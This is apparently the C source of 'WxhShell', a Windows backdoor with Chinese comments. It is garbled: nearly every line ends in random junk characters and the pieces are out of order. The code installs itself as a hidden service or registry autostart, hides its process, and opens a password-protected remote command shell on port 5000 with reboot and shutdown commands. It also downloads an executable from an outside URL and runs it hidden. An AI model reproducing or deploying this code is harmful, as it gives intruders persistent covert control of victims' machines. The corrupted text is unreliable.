DWORD PebBaseAddress; T!O3(
DWORD AffinityMask; cmC&s'/8`D
DWORD BasePriority; TO;]9`~;Mu
ULONG UniqueProcessId; 3mnL V*aRt
ULONG InheritedFromUniqueProcessId; J>&dWKM3
} PROCESS_BASIC_INFORMATION; d&3I>E$UP
Vo58Nz:%
PROCNTQSIP NtQueryInformationProcess; L2Q p6A6S
>LRaIU>
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [s&
y_[S
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]'z^Kt5S
u6CMRZ$
HANDLE hProcess; 22H=!.DJ
PROCESS_BASIC_INFORMATION pbi; S7\jR%pb
M4$4D?
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Kk"B501
if(NULL == hInst ) return 0; TQyFF/K
+k"8e?/e.
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {Rh+]=7
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [~rk`
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ( Nve5
E].a|4sh
if (!NtQueryInformationProcess) return 0; FPM}:c4
vU=k8
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u8)r
W
if(!hProcess) return 0; ~S<F
IBsO
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y)-)NLLG;n
laIC}!
CloseHandle(hProcess); %nK15(
5;uX"zG
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ) a2m<"
if(hProcess==NULL) return 0; GA*Khqdid
`J;/=tf09
HMODULE hMod; Zm'::+tl
char procName[255]; wBaFC\CW
unsigned long cbNeeded; 4~J1pcBno%
&JzF
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $1`t+0^k
>w2WyYJYH
CloseHandle(hProcess); Ik2szXh[J
H@bmLq
if(strstr(procName,"services")) return 1; // 以服务启动 7|?@\ZE
[,V92-s;N
return 0; // 注册表启动 6P[O8
} /[|md0,
;$&5I9N
// 主模块 2SCf]&
int StartWxhshell(LPSTR lpCmdLine) {?M*ZRO'
{ Jd_1>p
SOCKET wsl; Ih0>]h-7
BOOL val=TRUE; Hr.JZ>~<
int port=0; Yoym5<xE
struct sockaddr_in door; KPvYq?F>4
XzwQ,+IAr
if(wscfg.ws_autoins) Install(); $@!&ML
(E]K)d
port=atoi(lpCmdLine); rnrx%Q
]m,p3
if(port<=0) port=wscfg.ws_port; >]N0w
i!-sbwd7
WSADATA data; {xx;zjt%}}
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (N>ew)Ke
[~%;E[ky$
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; fv7g93
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m l
\yc'
door.sin_family = AF_INET; Hu!>RSg,,2
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7)X&fV6<8
door.sin_port = htons(port); Q`fA)6U
+mF 2yh
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zU=[Kc=$
closesocket(wsl); "k@/Z7=
return 1; *y@]zNPD
} H[yLlv
2PW3S{D t
if(listen(wsl,2) == INVALID_SOCKET) { ^mb*w)-p?
closesocket(wsl); :fQ*'m,
return 1; 43]&SXprH
} s9dBXfm
Wxhshell(wsl); R^C;D2
WSACleanup(); .-*nD8b
Ceb i9R[
return 0; &3/H
P)*<]
/]>{"sS(
} I>zn$d*0
+Rd{ ?)2~
// 以NT服务方式启动 25KZe s)
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U?C{.@#w
{ fxa^SV
DWORD status = 0; /1GZN *I
DWORD specificError = 0xfffffff; FA GVpO[
U9OF0=g
serviceStatus.dwServiceType = SERVICE_WIN32; aM1JG$+7 G
serviceStatus.dwCurrentState = SERVICE_START_PENDING; cHd39H9
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d$
7b
serviceStatus.dwWin32ExitCode = 0; )y Y;%
serviceStatus.dwServiceSpecificExitCode = 0; a"N_zGf2$
serviceStatus.dwCheckPoint = 0; $h
f\ #'J
serviceStatus.dwWaitHint = 0; ,4$J|^T&
j>M%?Tw
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j<5R$^?U
if (hServiceStatusHandle==0) return; ZU6a
Darkj>$\
status = GetLastError(); X;g|-<
if (status!=NO_ERROR) Q&;qFv5-l
{ Q:=/d$*xd
serviceStatus.dwCurrentState = SERVICE_STOPPED; k9?+9bExXA
serviceStatus.dwCheckPoint = 0; 40ZB;j$l
serviceStatus.dwWaitHint = 0; c *no H[
serviceStatus.dwWin32ExitCode = status; arrcHf4O
serviceStatus.dwServiceSpecificExitCode = specificError; o%7yhCY
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?2Dz1#%D
return; Kj5f:{Ur
} ?Fw/c0
s os&
serviceStatus.dwCurrentState = SERVICE_RUNNING; -|mRJVl8
serviceStatus.dwCheckPoint = 0; l"#,O$x"#@
serviceStatus.dwWaitHint = 0; 3 g&mND
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m#p^'}]!;
} D.f=!rT7E7
wxrT(x|
// 处理NT服务事件,比如:启动、停止 Reo0ZU>
VOID WINAPI NTServiceHandler(DWORD fdwControl) wtyu"=
{ )I9(WVx!]
switch(fdwControl) }(6k7{,Gw,
{ .?
/J
case SERVICE_CONTROL_STOP: zvj\n9H
serviceStatus.dwWin32ExitCode = 0; HB:i0m2fJW
serviceStatus.dwCurrentState = SERVICE_STOPPED; QI<3N
serviceStatus.dwCheckPoint = 0; W=:+f)D
serviceStatus.dwWaitHint = 0; 64@s|m*
{ 6Rj
X
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ozG:f*{T
} =uTV\)
return; <hdCO<
0(
case SERVICE_CONTROL_PAUSE: $%'z/'o!
serviceStatus.dwCurrentState = SERVICE_PAUSED; a4YyELXe
break; I&c#U+-A'
case SERVICE_CONTROL_CONTINUE: sjGZ
,?%
serviceStatus.dwCurrentState = SERVICE_RUNNING; :SGQ4@BV
break; 6h%(0=^
case SERVICE_CONTROL_INTERROGATE: hFv}JQJw<
break; DEhA8.v
}; 2}-W@R
SetServiceStatus(hServiceStatusHandle, &serviceStatus); PHkvt!uH
} :W"ITY(
$G[##j2
// 标准应用程序主函数 u a-p^X`w
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L`v,:#Y
{ TPuzL(ws
4j5 "{
// 获取操作系统版本 HN+z7 Q8hH
OsIsNt=GetOsVer(); o-_a0j
GetModuleFileName(NULL,ExeFile,MAX_PATH); OJaU,vQ#
_JS'~JO3{
// 从命令行安装 5ZLH=8L
if(strpbrk(lpCmdLine,"iI")) Install(); Yc}b&
1A`u0Y$g
// 下载执行文件 tti.-
if(wscfg.ws_downexe) { t!tBN
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p*Cbe\
WinExec(wscfg.ws_filenam,SW_HIDE); <G={Vfr
} P%c<0y"O:>
~JJv 2
if(!OsIsNt) { ~p.23G]x
// 如果时win9x,隐藏进程并且设置为注册表启动 -oj@ c
OZ
HideProc(); OB%y'mo7]
StartWxhshell(lpCmdLine); -c
tZ9+LL
} }PVB+i M
else !VW#hc\A5
if(StartFromService()) `Cc<K8s8
// 以服务方式启动 '@FKgy;B)-
StartServiceCtrlDispatcher(DispatchTable); G+ToZ&f@
else 8Vx'sJ>r4
// 普通方式启动 qXW5_iX
StartWxhshell(lpCmdLine); 9ccEF6o0=
fXN;N&I
return 0; YG_3@`-<
} YeQX13C"Z
H:`r!5&Qb5
][Kj^7/
<M=K!k
=========================================== :Vg,[\I{
Z`D#L[z$
@S{,g;8
*k/_p^
w*?JW
# 8A|-u=3
" ^U52
*6
2IGAZ%%
#include <stdio.h> IzG7!K
#include <string.h> WVVqH_
#include <windows.h> J;qH w[6
#include <winsock2.h> Wl1%BN0>
#include <winsvc.h> B=f{`rM)~W
#include <urlmon.h> qhogcAvE
(g 8K?Q
#pragma comment (lib, "Ws2_32.lib") 9%x[z%06
#pragma comment (lib, "urlmon.lib") n[<Vj1n
)|:|.`H
#define MAX_USER 100 // 最大客户端连接数 ^'}Td~(
#define BUF_SOCK 200 // sock buffer 2a{eJ89f
#define KEY_BUFF 255 // 输入 buffer SkY|.w.
W>Zce="_gN
#define REBOOT 0 // 重启 BQm H9g|2
#define SHUTDOWN 1 // 关机 j0Q;OKu
E@?jsN7
#define DEF_PORT 5000 // 监听端口 JI.ad_IR
PS>k67sI
#define REG_LEN 16 // 注册表键长度 hI"I#(*jA%
#define SVC_LEN 80 // NT服务名长度 ^uYxeQY[
@521zi
// 从dll定义API _9<Ko.GVq
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J=()
A+
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fPst<)
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DJeG
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C; ! )<(Vw
K%S k{'
// wxhshell配置信息 7.]ZD`"Bb
struct WSCFG { K2&pTA~OR
int ws_port; // 监听端口 -E.EI@"
char ws_passstr[REG_LEN]; // 口令 +&|WC2#
int ws_autoins; // 安装标记, 1=yes 0=no vQA: \!
char ws_regname[REG_LEN]; // 注册表键名 <jV_J+#
char ws_svcname[REG_LEN]; // 服务名 't
wMvm
char ws_svcdisp[SVC_LEN]; // 服务显示名 mgS%YG
char ws_svcdesc[SVC_LEN]; // 服务描述信息 @}#$<6|
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
D9JT)a
int ws_downexe; // 下载执行标记, 1=yes 0=no #\w~(Nm-
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dq[CT
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *K!V$8k=99
=8[HC}s|$
}; 'H+pwp"M@
w+PbT6;
// default Wxhshell configuration Uc\\..Cf
struct WSCFG wscfg={DEF_PORT, i4AmNRs
"xuhuanlingzhe", nsYS0
1, u"tv6Qp
"Wxhshell", ]kR 93
"Wxhshell", r%F{1.
"WxhShell Service", ]ZZ7j
"Wrsky Windows CmdShell Service", }*;Hhbox
"Please Input Your Password: ", 4u A;--j
1, 6MF%$K3
"http://www.wrsky.com/wxhshell.exe", \#
"Wxhshell.exe" jPhOk>m
}; Z{&PKS
3.
fIp5g
// 消息定义模块 Z3=t"
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8z\WyDz
char *msg_ws_prompt="\n\r? for help\n\r#>"; -49OE*uF
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Bx;bc
char *msg_ws_ext="\n\rExit."; tvZpm@1
char *msg_ws_end="\n\rQuit."; W.{#Pg1Da
char *msg_ws_boot="\n\rReboot..."; Jt@7y"<
char *msg_ws_poff="\n\rShutdown..."; ,:j^EDCsaJ
char *msg_ws_down="\n\rSave to "; h$y1"!N(
{ 6*h';~
char *msg_ws_err="\n\rErr!"; vV,H@WK
char *msg_ws_ok="\n\rOK!"; Jy{A1i@4~s
XV]`?
char ExeFile[MAX_PATH]; =]E;wWC
int nUser = 0; n"$D/XJO
HANDLE handles[MAX_USER]; c(i-~_
int OsIsNt; ZI-)'
%#Fd0L
SERVICE_STATUS serviceStatus; BB>3Kj:|
SERVICE_STATUS_HANDLE hServiceStatusHandle; 0;
M+8
h{VCx#!]
// 函数声明 JmtU>2z\
int Install(void); ^3 F[^#"
int Uninstall(void); Hi|'
int DownloadFile(char *sURL, SOCKET wsh); ;VNwx(1l`
int Boot(int flag); +UB+. 5P
void HideProc(void); 8it|yK.G@&
int GetOsVer(void); Lr V)}1&5
int Wxhshell(SOCKET wsl); 4L(axjMYU
void TalkWithClient(void *cs); iO(9#rV
int CmdShell(SOCKET sock); W1i Kn
int StartFromService(void); FD,M.kbg
int StartWxhshell(LPSTR lpCmdLine); fOF02WP^
|r$Vb$z
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [89#8|+
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QB7E:g&